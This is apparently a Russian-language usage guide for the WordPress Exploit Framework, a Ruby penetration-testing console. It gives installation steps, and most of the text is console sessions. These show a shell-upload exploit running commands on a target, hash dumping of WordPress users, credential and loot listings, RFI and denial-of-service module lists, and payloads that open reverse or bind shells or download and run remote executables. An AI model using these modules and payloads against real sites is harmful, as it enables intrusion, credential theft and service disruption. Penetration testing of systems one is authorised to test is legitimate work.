WordPress Exploit Framework - это среда с открытым исходным кодом, которая предназначена для тестирования систем WordPress на проникновение.
Требования:
- Рубин> = 2.4.4
Как установить WordPress Exploit Framework
Чтобы установить последнюю стабильную сборку, запустите gem install wpxf .
После установки вы можете запустить консоль WordPress Exploit Framework, запустив wpxf .
Системы Debian:
Если у вас есть проблемы с установкой зависимостей WPXF (в частности, Nokogiri), сначала убедитесь, что у вас есть все инструменты, необходимые для компиляции расширений C.
sudo apt-get install build-essential patch
Возможно, в вашей системе не установлены важные файлы заголовков разработки. Вот что вам следует делать, если вы окажетесь в такой ситуации:
sudo apt-get install ruby-dev zlib1g-dev liblzma-dev
Если вы испытываете ошибки, указывающие на то, что libcurl.dll не может быть загружен, вам необходимо убедиться, что последний двоичный файл libcurl включен в вашу папку bin Ruby или любую другую папку, которая находится в переменной PATH вашей среды.
Последнюю версию можно загрузить с сайта curl.haxx.se/download.html . По состоянию на 16.05.2016 последний выпуск отмечен как Win32 2000 / XP zip 7.40.0 libcurl SSL . После загрузки архива извлеките содержимое каталога bin в каталог bin Ruby (при появлении запроса не перезаписывайте существующие библиотеки DLL).
Как использовать WordPress Exploit Framework
Запустите консоль WordPress Exploit Framework, запустив wpxf .
После загрузки вам будет представлено приглашение wpxf, отсюда вы можете искать модули с помощью команды поиска или загружать модуль с помощью команды использования .
Загрузка модуля в вашу среду позволит вам установить параметры с помощью команды set и просмотреть информацию о модуле с помощью info .
Ниже приведен пример того, как можно загрузить модуль эксплойта symposium_shell_upload, установить параметры модуля и полезной нагрузки и запустить эксплойт против цели.
Код:
wpxf > use exploit/shell/symposium_shell_upload
[+] Loaded module: #<Wpxf::Exploit::SymposiumShellUpload:0x3916f20>
wpxf [exploit/shell/symposium_shell_upload] > set host wp-sandbox
[+] Set host => wp-sandbox
wpxf [exploit/shell/symposium_shell_upload] > set target_uri /wordpress/
[+] Set target_uri => /wordpress/
wpxf [exploit/shell/symposium_shell_upload] > set payload exec
[+] Loaded payload: #<Wpxf::Payloads::Exec:0x434d078>
wpxf [exploit/shell/symposium_shell_upload] > set cmd echo "Hello, world!"
[+] Set cmd => echo "Hello, world!"
wpxf [exploit/shell/symposium_shell_upload] > run
[-] Preparing payload...
[-] Uploading the payload...
[-] Executing the payload...
[+] Result: Hello, world!
[+] Execution finished successfully
Поддерживаемые команды:
- back
Код:
wpxf [exploit/shell/admin_shell_upload] > back
wpxf >
- check
Код:
wpxf [exploit/shell/admin_shell_upload] > check
[!] Target appears to be vulnerable
wpxf [exploit/shell/admin_shell_upload] >
- clear
- creds
Код:
wpxf > creds
ID Host Username Password Type
-- --------------- -------- -------- -----
13 wordpress.vm:80 root toor plain
14 wordpress.vm:80 test plain
wpxf >
- creds -d [id]
Код:
wpxf > creds -d 8
[+] Deleted credential 8
wpxf >
- gset
Код:
wpxf > gset host wordpress.vm
[+] Globally set the value of host to wordpress.vm
wpxf > use exploit/shell/admin_shell_upload
[+] Loaded module: #<Wpxf::Exploit::AdminShellUpload:0x3578af0>
wpxf [exploit/shell/admin_shell_upload] > show options
Module options:
Name Current Setting Required Description
------------------- --------------- -------- -------------------------------------------
host wordpress.vm true Address of the target host.
http_client_timeout 5 true Max wait time in seconds for HTTP responses
password true The WordPress password to authenticate with
port 80 true Port the remote host is listening on
proxy false Proxy address ([protocol://]host:port)
ssl false true Use SSL/HTTPS for all requests
target_uri / true Base path to the WordPress application
username true The WordPress username to authenticate with
verbose false true Enable verbose output
vhost false HTTP server virtual host
wpxf [exploit/shell/admin_shell_upload] >
- gunset
Код:
wpxf > gunset host
[+] Removed the global setting for host
wpxf >
- info
Код:
wpxf [exploit/shell/admin_shell_upload] > info
Name: Admin Shell Upload
Module: exploit/shell/admin_shell_upload
Disclosed: 2015-02-21
Provided by:
rastating
Module options:
Name Current Setting Required Description
---------- --------------- -------- -------------------------------------------
host wordpress.vm true Address of the target host.
password toor true The WordPress password to authenticate with
port 80 true Port the remote host is listening on
proxy false Proxy address ([protocol://]host:port)
ssl false true Use SSL/HTTPS for all requests
target_uri / true Base path to the WordPress application
username root true The WordPress username to authenticate with
verbose false true Enable verbose output
vhost false HTTP server virtual host
Description:
This module will generate a plugin, pack the payload into it and upload it to
a server running WordPress; providing valid admin credentials are used.
wpxf [exploit/shell/admin_shell_upload] >
- loot
Код:
wpxf > loot
ID Host Filename Notes Type
-- --------------- ----------------------- ------------------------------------- ---------
1 wordpress.vm:80 2018-07-14_15-00-56.csv Registered users and e-mail addresses user list
All filenames are relative to /home/rastating/.wpxf/loot
wpxf >
- loot -d [id]
Код:
wpxf > loot -d 1
[+] Deleted item 1
wpxf >
- loot -p [id]
Код:
wpxf > loot -p 2
Email,Name
"[email protected]","atgvrf"
"[email protected]","dowzvc"
"[email protected]","efhkjv"
"[email protected]","omquqt"
"[email protected]","root"
wpxf >
- quit
- rebuild_cache
Код:
wpxf > rebuild_cache
[!] Refreshing the module cache...
wpxf >
- run
Код:
wpxf [auxiliary/hash_dump/simple_ads_manager_hash_dump] > run
[-] Determining database prefix...
[-] Dumping user hashes...
Username Hash
-------- -----------------------------------
root $P$BqL7kZ\/A30CnAbIriSrXRmKvY9ynx80
ATgVrF $P$Bc5VwreNVctuXYwqKuN0IOWiDib79g.
DOWzVC $P$BwtOdeIGMW.jR7\/zfzMp.kc4FJcPwB.
OmQUqt $P$BOUcq9FWVxEyyrqyZNApW79kgPm7wq\/
eFhkJv $P$B1h9aF1cYdIBnAoh9F6NkchHXlTMpe.
[+] Execution finished successfully
wpxf [auxiliary/hash_dump/simple_ads_manager_hash_dump] >
- set
Код:
wpxf [exploit/shell/admin_shell_upload] > set host wordpress.vm
[+] Set host => wordpress.vm
wpxf [exploit/shell/admin_shell_upload] >
- setg
- search
Код:
wpxf > search rfi
[+] 3 Results for "rfi"
Module Title
-------------------------------------------------- ----------------------------------------
exploit/rfi/fast_image_adder_v1.1_rfi_shell_upload Fast Image Adder <= 1.1 RFI Shell Upload
exploit/rfi/flickr_picture_backup_rfi_shell_upload Flickr Picture Backup RFI Shell Upload
exploit/rfi/wp_mobile_detector_rfi_shell_upload WP Mobile Detector RFI Shell Upload
wpxf >
- show advanced
Показать расширенные параметры загруженного в данный момент модуля.
Код:
wpxf [exploit/shell/admin_shell_upload] > show advanced
Name: basic_auth_creds
Current setting:
Required: false
Description: HTTP basic auth credentials (username:password)
Name: follow_http_redirection
Current setting: true
Required: true
Description: Automatically follow HTTP redirections
Name: max_http_concurrency
Current setting: 20
Required: true
Description: Max number of HTTP requests that can be made in parallel (Min: 1, Max: 200)
Name: proxy_auth_creds
Current setting:
Required: false
Description: Proxy server credentials (username:password)
Name: user_agent
Current setting: Mozilla/5.0 (Macintosh; U; U; Intel Mac OS X 10_7_6 rv:6.0; en-US) AppleWebKit/533.49.6 (KHTML, like Gecko) Version/4.0.2 Safari/533.49.6
Required: false
Description: The user agent string to send with all requests
Name: verify_host
Current setting: true
Required: true
Description: Enable host verification when using HTTPS
Name: wp_content_dir
Current setting: wp-content
Required: true
Description: The name of the wp-content directory.
wpxf [exploit/shell/admin_shell_upload] >
- show auxiliary
Показать список доступных вспомогательных модулей.
Код:
wpxf > show auxiliary
[+] 58 Auxiliaries
Module Title
-------------------------------------- -----------------------------------------------------------
auxiliary/dos/load_scripts_dos WordPress "load-scripts.php" DoS
auxiliary/dos/long_password_dos Long Password DoS
auxiliary/dos/post_grid_file_deletion Post Grid <= 2.0.12 Unauthenticated Arbitrary File Deletion
auxiliary/dos/wp_v4.7.2_csrf_dos WordPress 4.2-4.7.2 - CSRF DoS
...
wpxf >
- show exploits
Показать список доступных эксплойтов.
Код:
wpxf > show exploits
[+] 289 Exploits
Module Title
-------------------------------------------------------- --------------------------------------------
exploit/rfi/advanced_custom_fields_remote_file_inclusion Advanced Custom Fields Remote File Inclusion
exploit/rfi/fast_image_adder_v1.1_rfi_shell_upload Fast Image Adder <= 1.1 RFI Shell Upload
exploit/rfi/flickr_picture_backup_rfi_shell_upload Flickr Picture Backup RFI Shell Upload
exploit/rfi/gwolle_guestbook_remote_file_inclusion Gwolle Guestbook Remote File Inclusion
exploit/rfi/wp_mobile_detector_rfi_shell_upload WP Mobile Detector RFI Shell Upload
...
wpxf >
- show options
Показать основные параметры загруженного в данный момент модуля.
Код:
wpxf [exploit/shell/admin_shell_upload] > show options
Module options:
Name Current Setting Required Description
------------------- --------------- -------- -------------------------------------------
host wordpress.vm true Address of the target host.
http_client_timeout 5 true Max wait time in seconds for HTTP responses
password true The WordPress password to authenticate with
port 80 true Port the remote host is listening on
proxy false Proxy address ([protocol://]host:port)
ssl false true Use SSL/HTTPS for all requests
target_uri / true Base path to the WordPress application
username true The WordPress username to authenticate with
verbose false true Enable verbose output
vhost false HTTP server virtual host
wpxf [exploit/shell/admin_shell_upload] >
- unset
Код:
wpxf [exploit/shell/admin_shell_upload] > unset host
[+] Unset host
wpxf [exploit/shell/admin_shell_upload] >
- unsetg
- use
Код:
wpxf > use exploit/shell/admin_shell_upload
[+] Loaded module: #<Wpxf::Exploit::AdminShellUpload:0x3af1100>
wpxf [exploit/shell/admin_shell_upload] >
- workspace
Перечислите доступные рабочие области.
Код:
wpxf > workspace
[-] default (active)
[-] test
wpxf >
- workspace [name]
Код:
wpxf > workspace test
[+] Switched to workspace: test
wpxf >
- workspace -a [name]
Код:
wpxf > workspace -a wiki
[+] Added workspace: wiki
wpxf >
- workspace -d [name]
Код:
wpxf > workspace -d wiki
[+] Deleted workspace: wiki
wpxf >
Разница между вспомогательными модулями и модулями эксплойтов
Вспомогательные модули не позволяют запускать полезные данные на целевой машине, но вместо этого позволяют извлекать информацию из целевой машины, повышать привилегии или обеспечивать отказ в обслуживании.
Модули эксплойтов требуют, чтобы вы указали полезную нагрузку, которая впоследствии запускается на целевой машине, что позволяет запускать произвольный код для извлечения информации с машины, установки удаленной оболочки или чего-либо еще, что вы хотите сделать в контексте веб-сервера.
Доступные полезные данные
- bind_php : загружает сценарий, который будет привязан к определенному порту и позволит WPXF установить удаленную оболочку.
- custom : загружает и выполняет собственный сценарий PHP.
- download_exec : загружает и запускает удаленный исполняемый файл.
- meterpreter_bind_tcp : Meterpreter связывает полезную нагрузку TCP, сгенерированную с помощью msfvenom.
- meterpreter_reverse_tcp : полезная нагрузка обратного TCP Meterpreter, сгенерированная с использованием msfvenom.
- exec : запускает команду оболочки на удаленном сервере и возвращает результат в сеанс WPXF.
- reverse_tcp : загружает сценарий, который устанавливает обратную оболочку TCP.